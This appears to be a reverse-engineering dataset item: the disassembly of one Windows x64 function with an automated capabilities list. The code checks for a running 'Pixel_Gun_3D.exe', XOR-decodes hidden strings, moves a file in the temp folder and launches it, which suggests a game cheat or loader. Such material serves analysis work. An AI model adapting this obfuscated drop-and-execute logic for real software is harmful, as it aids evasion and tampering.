Function at 0x140054d50
Capabilities:
Check if file exists
Create directory
Create process on windows
Encode data using xor
Enumerate processes
Get common file path
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x950]
sub rsp, 0xa50
mov rax, qword [0x14010a0c0]
xor rax, rsp
mov qword [rbp + 0x940], rax
xor dil, dil
mov dword [rbp - 0x70], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140054df0
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140054df0
lea rdx, str.Pixel_Gun_3D.exe
lea rcx, [rbp - 0x44]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140054ded
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140054dc4
jmp 0x140054df0
mov dil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test dil, dil
je 0x1400552ad
mov byte [0x14013645a], 1
lea rdx, [rbp + 0x2e0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movdqa xmm0, xmmword [0x1400f4780]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xd0a1d889
mov byte [rsp + 0x54], 0xee
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x4ac
mov eax, dword [rcx + rsi]
mov ebx, 0x4e0
add rbx, rsi
test al, 1
jne 0x140054e76
or eax, 1
mov dword [rcx + rsi], eax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14005c790
lea rcx, [0x1400d9c30]
call fcn.1400d436c
nop
xor edi, edi
cmp byte [rbx], dil
jne 0x140054e91
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx - 0x26]
xor byte [rcx + rbx + 1], al
inc edx
cmp edx, 0x15
jb 0x140054e80
mov byte [rbx], 1
lea r8, [rbx + 1]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140054ecc
xor edx, edx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x30], 0xaea5b99b
mov dword [rsp + 0x34], 0x8d84f1ad
mov word [rsp + 0x38], 0xe38e
mov ecx, 0x6b8
mov eax, dword [rcx + rsi]
mov edx, 0x628
test al, 1
jne 0x140054fcc
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov byte [rbx], 0
xor eax, eax
mov qword [rbx + 1], rax
mov word [rbx + 9], ax
mov edx, edi
lea rax, [rbx + 2]
lea r8, [rsp + 0x30]
sub r8, rbx
lea r9, [rsp + 0x31]
sub r9, rbx
lea r10, [rsp + 0x32]
sub r10, rbx
lea r11, [rsp + 0x33]
sub r11, rbx
lea r14, [rsp + 0x34]
sub r14, rbx
lea r15, [rsp + 0x35]
sub r15, rbx
lea r12, [rsp + 0x36]
sub r12, rbx
lea r13, [rsp + 0x37]
sub r13, rbx
nop word [rax + rax]
movzx ecx, byte [rax + r8 - 2]
mov byte [rax - 1], cl
movzx ecx, byte [r9 + rax - 2]
mov byte [rax], cl
movzx ecx, byte [rax + r8]
mov byte [rax + 1], cl
movzx ecx, byte [r9 + rax]
mov byte [rax + 2], cl
movzx ecx, byte [r10 + rax]
mov byte [rax + 3], cl
movzx ecx, byte [r11 + rax]
mov byte [rax + 4], cl
movzx ecx, byte [r14 + rax]
mov byte [rax + 5], cl
movzx ecx, byte [r15 + rax]
mov byte [rax + 6], cl
movzx ecx, byte [r12 + rax]
mov byte [rax + 7], cl
movzx ecx, byte [rax + r13]
mov byte [rax + 8], cl
add edx, 0xa
lea rax, [rax + 0xa]
cmp edx, 0xa
jb 0x140054f60
lea rcx, [0x1400d9bf0]
call fcn.1400d436c
nop
jmp 0x140054fd0
lea rbx, [rsi + rdx]
cmp byte [rbx], 0
jne 0x140054ff1
mov edx, edi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x26]
xor byte [rcx + rbx + 1], al
inc edx
cmp edx, 0xa
jb 0x140054fe0
mov byte [rbx], 1
lea r8, [rbx + 1]
mov qword [rsp + 0x30], r8
movdqa xmm0, xmmword [0x1400f4790]
movdqu xmmword [rsp + 0x40], xmm0
mov ecx, 0x454
mov eax, dword [rcx + rsi]
mov edx, 0x440
test al, 1
jne 0x140055185
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov qword [rbp - 0x80], rbx
mov byte [rbx], 0
xorps xmm0, xmm0
movups xmmword [rbx + 1], xmm0
mov edx, edi
lea rcx, [rbx + 2]
lea r8, [rsp + 0x40]
sub r8, rbx
lea r9, [rsp + 0x41]
sub r9, rbx
lea r10, [rsp + 0x42]
sub r10, rbx
lea r11, [rsp + 0x43]
sub r11, rbx
lea rsi, [rsp + 0x44]
sub rsi, rbx
lea r14, [rsp + 0x45]
sub r14, rbx
lea r15, [rsp + 0x46]
sub r15, rbx
lea r12, [rsp + 0x47]
sub r12, rbx
lea r13, [rsp + 0x48]
sub r13, rbx
lea rax, [rsp + 0x49]
sub rax, rbx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x4a]
sub rax, rbx
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x4b]
sub rax, rbx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x4c]
sub rax, rbx
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x4d]
sub rax, rbx
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
movzx eax, byte [rcx + r8 - 2]
mov byte [rcx - 1], al
movzx eax, byte [r9 + rcx - 2]
mov byte [rcx], al
movzx eax, byte [rcx + r8]
mov byte [rcx + 1], al
movzx eax, byte [r9 + rcx]
mov byte [rcx + 2], al
movzx eax, byte [r10 + rcx]
mov byte [rcx + 3], al
movzx eax, byte [r11 + rcx]
mov byte [rcx + 4], al
movzx eax, byte [rsi + rcx]
mov byte [rcx + 5], al
movzx eax, byte [r14 + rcx]
mov byte [rcx + 6], al
movzx eax, byte [r15 + rcx]
mov byte [rcx + 7], al
movzx eax, byte [r12 + rcx]
mov byte [rcx + 8], al
movzx eax, byte [rcx + r13]
mov byte [rcx + 9], al
movzx eax, byte [rdi + rcx]
mov byte [rcx + 0xa], al
movzx eax, byte [rbx + rcx]
mov byte [rcx + 0xb], al
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax + rcx]
mov byte [rcx + 0xc], al
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax + rcx]
mov byte [rcx + 0xd], al
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax + rcx]
mov byte [rcx + 0xe], al
add edx, 0x10
lea rcx, [rcx + 0x10]
cmp edx, 0x10
jb 0x1400550d1
lea rcx, [0x1400d9bb0]
call fcn.1400d436c
nop
xor edi, edi
mov rbx, qword [rbp - 0x80]
mov r8, qword [rsp + 0x30]
jmp 0x140055189
lea rbx, [rsi + rdx]
cmp byte [rbx], 0
jne 0x1400551a1
mov edx, edi
movsxd rcx, edx
lea eax, [rdx - 0x26]
xor byte [rcx + rbx + 1], al
inc edx
cmp edx, 0x10
jb 0x140055190
mov byte [rbx], 1
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x500]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea r8, [rbx + 1]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x14005537c
call fcn.1400553b0
mov rcx, rax
call fcn.14005c760
mov r8, rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x610]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
call fcn.140055430
mov rcx, rax
call fcn.14005ca00
mov r8, rax
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x830]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
call fcn.140055690
mov rcx, rax
call fcn.14005c630
mov rbx, rax
call fcn.140055550
mov rcx, rax
call fcn.14005c730
mov r9, rbx
lea r8, [rbp + 0x3f0]
mov rdx, rax
lea rcx, [rbp + 0x720]
call fcn.140063820
call fcn.140055700
mov rcx, rax
call fcn.14005e470
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x720]
lea r8, [rbp + 0x830]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov word [0x14013645a], 0x100
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov dword [rsp + 0x30], 0xb8b1ba9d
mov dword [rsp + 0x34], 0x958f91fe
mov dword [rsp + 0x38], 0x908ba5c2
mov word [rsp + 0x3c], 0x8388
mov byte [rsp + 0x3e], 0xe8
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x78c
mov eax, dword [rdx + rcx]
mov ebx, 0x5e8
add rbx, rcx
test al, 1
jne 0x140055311
or eax, 1
mov dword [rdx + rcx], eax
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14005cdd0
lea rcx, [0x1400d9990]
call fcn.1400d436c
nop
xor edi, edi
cmp byte [rbx], dil
jne 0x140055331
mov edx, edi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx - 0x26]
xor byte [rcx + rbx + 1], al
inc edx
cmp edx, 0xf
jb 0x140055320
mov byte [rbx], 1
call fcn.1400557d0
cmp byte [rax], dil
jne 0x140055351
nop
movsxd rdx, edi
lea ecx, [rdi - 0x26]
xor byte [rdx + rax + 1], cl
inc edi
cmp edi, 0x2a
jb 0x140055340
mov byte [rax], 1
lea rdx, [rax + 1]
mov r9d, Ordinal_50
lea r8, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14013645b], 0
mov rcx, qword [rbp + 0x940]
xor rcx, rsp
call fcn.1400d3a80
lea r11, [rsp + 0xa50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret